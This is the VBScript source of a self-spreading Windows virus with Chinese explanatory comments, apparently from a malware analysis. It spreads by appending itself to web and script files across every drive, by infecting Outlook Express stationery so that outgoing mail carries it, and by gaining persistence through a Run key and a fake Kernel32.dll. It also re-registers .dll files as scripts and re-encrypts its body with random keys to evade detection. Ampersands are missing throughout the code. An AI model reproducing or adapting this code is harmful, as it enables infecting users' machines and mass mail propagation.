Function KJChangeSub(CurrentString, LastIndexChar) ' 判斷是否是根目錄 If LastIndexChar = 0 Then ' 如果是根目錄 ' 如果是C:\，返回FinalyDisk盤，并將SubE置為0， ' 如果不是C:\，返回將當前盤符遞減1，并將SubE置為0 If Left(LCase(CurrentString), 1) = LCase("c") Then KJChangeSub = FinalyDisk ":\" SubE = 0 Else KJChangeSub = Chr(Asc(Left(LCase(CurrentString), 1)) - 1) ":\" SubE = 0 End If Else ' 如果不是根目錄，則返回上一級目錄名稱 KJChangeSub = Mid(CurrentString, 1, LastIndexChar) End If End Function
' 函數：KJCreateMail() ' 功能：感染郵件部分
Function KJCreateMail() On Error Resume Next ' 如果當前執行文件是"html"的，就退出函數 If InWhere = "html" Then Exit Function End If ' 取系統盤的空白頁的路徑 ShareFile = Left(WinPath, 3) "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm" ' 如果存在這個文件，就向其追加html的病毒體 ' 否則生成含有病毒體的這個文件 If (FSO.FileExists(ShareFile)) Then Call KJAppendTo(ShareFile, "html") Else Set FileTemp = FSO.OpenTextFile(ShareFile, 2, true) FileTemp.Write "" "HTML>" vbCrLf "" "BODY onload=""" "vbscript:" "KJ_start()""" ">" vbCrLf HtmlText FileTemp.Close End If ' 取得當前用戶的ID和OutLook的版本 DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID") OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer") ' 激活信紙功能，并感染所有信紙 WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"DefaultId"\Software\Microsoft\Outlook Express\" Left(OutLookVersion, 1) ".0\Mail\Compose Use Stationery", 1, "REG_DWORD" Call KJMailReg("HKEY_CURRENT_USER\Identities\"DefaultId"\Software\Microsoft\Outlook Express\" Left(OutLookVersion, 1) ".0\Mail\Stationery Name", ShareFile) Call KJMailReg("HKEY_CURRENT_USER\Identities\"DefaultId"\Software\Microsoft\Outlook Express\" Left(OutLookVersion, 1) ".0\Mail\Wide Stationery Name", ShareFile) WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD" Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank") Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank") WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD" Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery", "blank") KJummageFolder(Left(WinPath, 3) "Program Files\Common Files\Microsoft Shared\Stationery") End Function
' 函數:KJCreateMilieu() ' 功能：創建系統環境
Function KJCreateMilieu() On Error Resume Next TempPath = "" ' 判斷操作系統是NT/2000還是9X If Not(FSO.FileExists(WinPath "WScript.exe")) Then TempPath = "system32\" End If ' 為了文件名起到迷惑性，并且不會與系統文件沖突。 ' 如果是NT/2000則啟動文件為system\Kernel32.dll ' 如果是9x啟動文件則為system\Kernel.dll If TempPath = "system32\" Then StartUpFile = WinPath "SYSTEM\Kernel32.dll" Else StartUpFile = WinPath "SYSTEM\Kernel.dll" End If ' 添加Run值，添加剛才生成的啟動文件路徑 WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32", StartUpFile ' 拷貝前期備份的文件到原來的目錄 FSO.CopyFile WinPath "web\kjwall.gif", WinPath "web\Folder.htt" FSO.CopyFile WinPath "system32\kjwall.gif", WinPath "system32\desktop.ini" ' 向%windir%\web\Folder.htt追加病毒體 Call KJAppendTo(WinPath "web\Folder.htt", "htt") ' 改變dll的MIME頭 ' 改變dll的默認圖標 ' 改變dll的打開方式 WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\", "dllfile" WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type", "application/x-msdownload" WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\", WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\") WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\", "VBScript" WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\", WinPath TempPath "WScript.exe ""%1"" %*" WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\", "{60254CA5-953B-11CF-8C96-00AA00B8708C}" WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\", "{85131631-480C-11D2-B1F9-00C04F86C324}" ' 啟動時加載的病毒文件中寫入病毒體 Set FileTemp = FSO.OpenTextFile(StartUpFile, 2, true) FileTemp.Write VbsText FileTemp.Close End Function
Function KJLikeIt() ' 如果當前執行文件不是"html"的就退出程序 If InWhere > "html" Then Exit Function End If ' 取得文檔當前路徑 ThisLocation = document.location ' 如果是本地或網上共享文件 If Left(ThisLocation, 4) = "file" Then ThisLocation = Mid(ThisLocation, 9) ' 如果這個文件擴展名不為空，在ThisLocation中保存它的路徑 If FSO.GetExtensionName(ThisLocation) > "" Then ThisLocation = Left(ThisLocation, Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation))) End If ' 如果ThisLocation的長度大于3就尾追一個"\" If Len(ThisLocation) > 3 Then ThisLocation = ThisLocation "\" End If ' 感染這個目錄 KJummageFolder(ThisLocation) End If End Function
Function KJMailReg(RegStr, FileName) On Error Resume Next ' 如果注冊表指定鍵值不存在，則向指定位置寫入指定文件名 RegTempStr = WsShell.RegRead(RegStr) If RegTempStr = "" Then WsShell.RegWrite RegStr, FileName End If End Function
Function KJOboSub(CurrentString) SubE = 0 TestOut = 0 Do While True TestOut = TestOut + 1 If TestOut > 28 Then CurrentString = FinalyDisk ":\" Exit Do End If On Error Resume Next ' 取得當前目錄的所有子目錄，并且放到字典中 Set ThisFolder = FSO.GetFolder(CurrentString) Set DicSub = CreateObject("Scripting.Dictionary") Set Folders = ThisFolder.SubFolders FolderCount = 0 For Each TempFolder in Folders FolderCount = FolderCount + 1 DicSub.Add FolderCount, TempFolder.Name Next ' 如果沒有子目錄了，就調用KJChangeSub返回上一級目錄或者更換盤符，并將SubE置1 If DicSub.Count = 0 Then LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1) SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1) CurrentString = KJChangeSub(CurrentString, LastIndexChar) SubE = 1 Else ' 如果存在子目錄 ' 如果SubE為0，則將CurrentString變為它的第1個子目錄 If SubE = 0 Then CurrentString = CurrentString DicSub.Item(1) "\" Exit Do Else ' 如果SubE為1，繼續遍歷子目錄，并將下一個子目錄返回 j = 0 For j = 1 To FolderCount If LCase(SubString) = LCase(DicSub.Item(j)) Then If j FolderCount Then CurrentString = CurrentString DicSub.Item(j + 1) "\" Exit Do End If End If Next LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1) SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1) CurrentString = KJChangeSub(CurrentString, LastIndexChar) End If End If Loop KJOboSub = CurrentString End Function
' 函數：KJPropagate() ' 功能：病毒傳播
Function KJPropagate() On Error Resume Next RegPathvalue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree" DiskDegree = WsShell.RegRead(RegPathvalue) ' 如果不存在Degree這個鍵值，DiskDegree則為FinalyDisk盤 If DiskDegree = "" Then DiskDegree = FinalyDisk ":\" End If ' 繼DiskDegree置后感染5個目錄 For i = 1 To 5 DiskDegree = KJOboSub(DiskDegree) KJummageFolder(DiskDegree) Next ' 將感染記錄保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"鍵值中 WsShell.RegWrite RegPathvalue, DiskDegree End Function
Function KJummageFolder(PathName) On Error Resume Next ' 取得目錄中的所有文件集 Set FolderName = FSO.GetFolder(PathName) Set ThisFiles = FolderName.Files HttExists = 0 For Each ThisFile In ThisFiles FileExt = UCase(FSO.GetExtensionName(ThisFile.Path)) ' 判斷擴展名 ' 若是HTM,HTML,ASP,PHP,JSP則向文件中追加HTML版的病毒體 ' 若是VBS則向文件中追加VBS版的病毒體 ' 若是HTT,則標志為已經存在HTT了 If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then Call KJAppendTo(ThisFile.Path, "html") ElseIf FileExt = "VBS" Then Call KJAppendTo(ThisFile.Path, "vbs") ElseIf FileExt = "HTT" Then HttExists = 1 End If Next ' 如果所給的路徑是桌面，則標志為已經存在HTT了 If (UCase(PathName) = UCase(WinPath "Desktop\")) Or (UCase(PathName) = UCase(WinPath "Desktop"))Then HttExists = 1 End If ' 如果不存在HTT ' 向目錄中追加病毒體 If HttExists = 0 Then FSO.CopyFile WinPath "system32\desktop.ini", PathName FSO.CopyFile WinPath "web\Folder.htt", PathName End If End Function
Function KJSetDim() On Error Resume Next Err.Clear
' 測試當前執行文件是html還是vbs TestIt = WScript.ScriptFullname If Err Then InWhere = "html" Else InWhere = "vbs" End If
' 創建文件訪問對象和Shell對象 If InWhere = "vbs" Then Set FSO = CreateObject("Scripting.FileSystemObject") Set WsShell = CreateObject("WScript.Shell") Else Set AppleObject = document.applets("KJ_guest") AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") AppleObject.createInstance() Set WsShell = AppleObject.GetObject() AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}") AppleObject.createInstance() Set FSO = AppleObject.GetObject() End If Set DiskObject = FSO.Drives ' 判斷磁盤類型 ' ' 0: Unknown ' 1: Removable ' 2: Fixed ' 3: Network ' 4: CD-ROM ' 5: RAM Disk ' 如果不是可移動磁盤或者固定磁盤就跳出循環。可能作者考慮的是網絡磁盤、CD-ROM、RAM Disk都是在比較靠后的位置。呵呵，如果C:是RAMDISK會怎么樣？ For Each DiskTemp In DiskObject If DiskTemp.DriveType > 2 And DiskTemp.DriveType > 1 Then Exit For End If FinalyDisk = DiskTemp.DriveLetter Next
' 此前的這段病毒體已經解密，并且存放在ThisText中，現在為了傳播，需要對它進行再加密。 ' 加密算法 Dim OtherArr(3) Randomize ' 隨機生成4個算子 For i = 0 To 3 OtherArr(i) = Int((9 * Rnd)) Next TempString = "" For i = 1 To Len(ThisText) TempNum = Asc(Mid(ThisText, i, 1)) '對回車、換行(0x0D,0x0A)做特別的處理 If TempNum = 13 Then TempNum = 28 ElseIf TempNum = 10 Then TempNum = 29 End If '很簡單的加密處理，每個字符減去相應的算子，那么在解密的時候只要按照這個順序每個字符加上相應的算子就可以了。 TempChar = Chr(TempNum - OtherArr(i Mod 4)) If TempChar = Chr(34) Then TempChar = Chr(18) End If TempString = TempString TempChar Next ' 含有解密算法的字串 UnLockStr = "Execute(""Dim KeyArr(3),ThisText""vbCrLf""KeyArr(0) = " OtherArr(0) """vbCrLf""KeyArr(1) = " OtherArr(1) """vbCrLf""KeyArr(2) = " OtherArr(2) """vbCrLf""KeyArr(3) = " OtherArr(3) """vbCrLf""For i=1 To Len(ExeString)""vbCrLf""TempNum = Asc(Mid(ExeString,i,1))""vbCrLf""If TempNum = 18 Then""vbCrLf""TempNum = 34""vbCrLf""End If""vbCrLf""TempChar = Chr(TempNum + KeyArr(i Mod 4))""vbCrLf""If TempChar = Chr(28) Then""vbCrLf""TempChar = vbCr""vbCrLf""ElseIf TempChar = Chr(29) Then""vbCrLf""TempChar = vbLf""vbCrLf""End If""vbCrLf""ThisText = ThisText TempChar""vbCrLf""Next"")" vbCrLf "Execute(ThisText)" ' 將加密好的病毒體復制給變量 ThisText ThisText = "ExeString = """ TempString """" ' 生成html感染用的腳本 HtmlText = "" "script language=vbscript>" vbCrLf "document.write " """" "" "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" """""" "APPLET NAME=KJ""""_guest HEIGHT=0 WIDTH=0 code=com.ms.""""activeX.Active""""XComponent>" "" "/APPLET>" "" "/div>""" vbCrLf "" "/script>" vbCrLf "" "script language=vbscript>" vbCrLf ThisText vbCrLf UnLockStr vbCrLf "" "/script>" vbCrLf "" "/BODY>" vbCrLf "" "/HTML>" ' 生成vbs感染用的腳本 VbsText = ThisText vbCrLf UnLockStr vbCrLf "KJ_start()" ' 取得Windows目錄 ' GetSpecialFolder(n) ' 0: WindowsFolder ' 1: SystemFolder ' 2: TemporaryFolder ' 如果系統目錄存在web\Folder.htt和system32\desktop.ini，則用kjwall.gif文件名備份它們。 WinPath = FSO.GetSpecialFolder(0) "\" If (FSO.FileExists(WinPath "web\Folder.htt")) Then FSO.CopyFile WinPath "web\Folder.htt", WinPath "web\kjwall.gif" End If If (FSO.FileExists(WinPath "system32\desktop.ini")) Then FSO.CopyFile WinPath "system32\desktop.ini", WinPath "system32\kjwall.gif" End If End Function %>
